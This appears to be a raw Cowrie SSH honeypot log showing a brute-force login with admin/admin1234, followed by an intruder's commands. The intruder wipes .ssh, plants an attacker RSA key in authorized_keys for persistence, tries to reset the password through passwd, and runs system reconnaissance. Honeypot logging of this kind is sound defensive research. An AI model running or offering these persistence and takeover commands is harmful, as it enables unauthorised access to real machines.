{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:16.943306Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:17.376966Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:17.860279Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:17.865019Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:17.870190Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.110929Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.407117Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.410591Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.628836Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.634259Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"60f14b24843f","protocol":"ssh","message":"New connection: 185.239.84.249:37398 (159.203.135.109:22) [session: 60f14b24843f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.866741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:18.870930Z","src_ip":"185.239.84.249","session":"60f14b24843f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:19.091186Z","src_ip":"185.239.84.249","session":"60f14b24843f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:19.541708Z","src_ip":"185.239.84.249","session":"60f14b24843f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:20.766575Z","src_ip":"185.239.84.249","session":"60f14b24843f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":37406,"dst_ip":"159.203.135.109","dst_port":22,"session":"3046db406a1c","protocol":"ssh","message":"New connection: 185.239.84.249:37406 (159.203.135.109:22) [session: 3046db406a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:20.979955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:20.985240Z","src_ip":"185.239.84.249","session":"3046db406a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:21.209806Z","src_ip":"185.239.84.249","session":"3046db406a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:21.865886Z","src_ip":"185.239.84.249","session":"3046db406a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.117087Z","src_ip":"185.239.84.249","session":"3046db406a1c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.389102Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.393597Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.623430Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.891773Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1234\\nWOVuIIuFXLoH\\nWOVuIIuFXLoH\"|passwd|bash","message":"CMD: echo -e \"admin1234\\nWOVuIIuFXLoH\\nWOVuIIuFXLoH\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.895972Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.900502Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:23.904875Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/fda86be5ead5f3f8fc2c4f5ce4cb96265460b7459d469e379f1943692c6be480","size":32,"shasum":"fda86be5ead5f3f8fc2c4f5ce4cb96265460b7459d469e379f1943692c6be480","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/fda86be5ead5f3f8fc2c4f5ce4cb96265460b7459d469e379f1943692c6be480 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.124270Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.402245Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin1234\\nWOVuIIuFXLoH\\nWOVuIIuFXLoH\\n\"|passwd","message":"CMD: echo \"admin1234\\nWOVuIIuFXLoH\\nWOVuIIuFXLoH\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.407089Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cdbe0bbdf3e493ec1b26463d0fc532fb091f1c08a98ed2dedd85b48c07d36dcb","size":25,"shasum":"cdbe0bbdf3e493ec1b26463d0fc532fb091f1c08a98ed2dedd85b48c07d36dcb","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cdbe0bbdf3e493ec1b26463d0fc532fb091f1c08a98ed2dedd85b48c07d36dcb after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.625238Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.909277Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:24.913176Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.133863Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.422224Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.425400Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.646597Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.927358Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.931377Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:25.935091Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.156359Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.439629Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.443645Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.661798Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.955307Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:26.959146Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.191252Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.469381Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.472869Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.692250Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.959305Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:27.963156Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:28.190947Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
